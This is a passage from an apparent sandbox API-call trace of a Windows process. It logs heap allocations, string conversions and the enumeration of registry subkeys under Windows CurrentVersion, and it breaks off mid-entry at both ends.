(HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.767] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0xa9b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0xa9c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.767] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.767] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0xa9b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0xa9c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0136.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.768] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0xa9b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0136.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0136.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.768] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x3bf85c | out: phkResult=0x3bf85c*=0xa0) returned 0x0 [0136.768] RegCloseKey (hKey=0x24) returned 0x0 [0136.768] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xa9b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0136.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0xa9c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0136.768] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.768] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.769] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x3bf85c | out: phkResult=0x3bf85c*=0x24) returned 0x0 [0136.769] RegCloseKey (hKey=0xa0) returned 0x0 [0136.769] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xa9b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0136.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0xa9c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0136.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.769] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xa9b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0136.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0xa9c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0136.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.769] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xa9b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0136.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0136.769] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.769] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.770] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xa9b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0xa9c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.770] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xa9b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0xa9c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.770] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xa9b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0xa9c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.770] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.770] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xa9b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0136.770] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0xa9c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.771] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xa9b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0xa9c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.771] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xa9b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0xa9c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.771] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xa9b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0xa9c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0136.771] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.771] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.772] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xa9b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0xa9c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.772] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.772] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.772] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.772] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xa9b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0xa9c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.772] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.772] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.772] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.772] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xa9b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0xa9c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.772] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.772] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.772] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.772] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xa9b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0136.772] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0xa9c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.773] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xa9b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0xa9c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.773] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xa9b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0xa9c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0136.773] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.773] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.773] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xa9b930, cchName=0x104 | out: 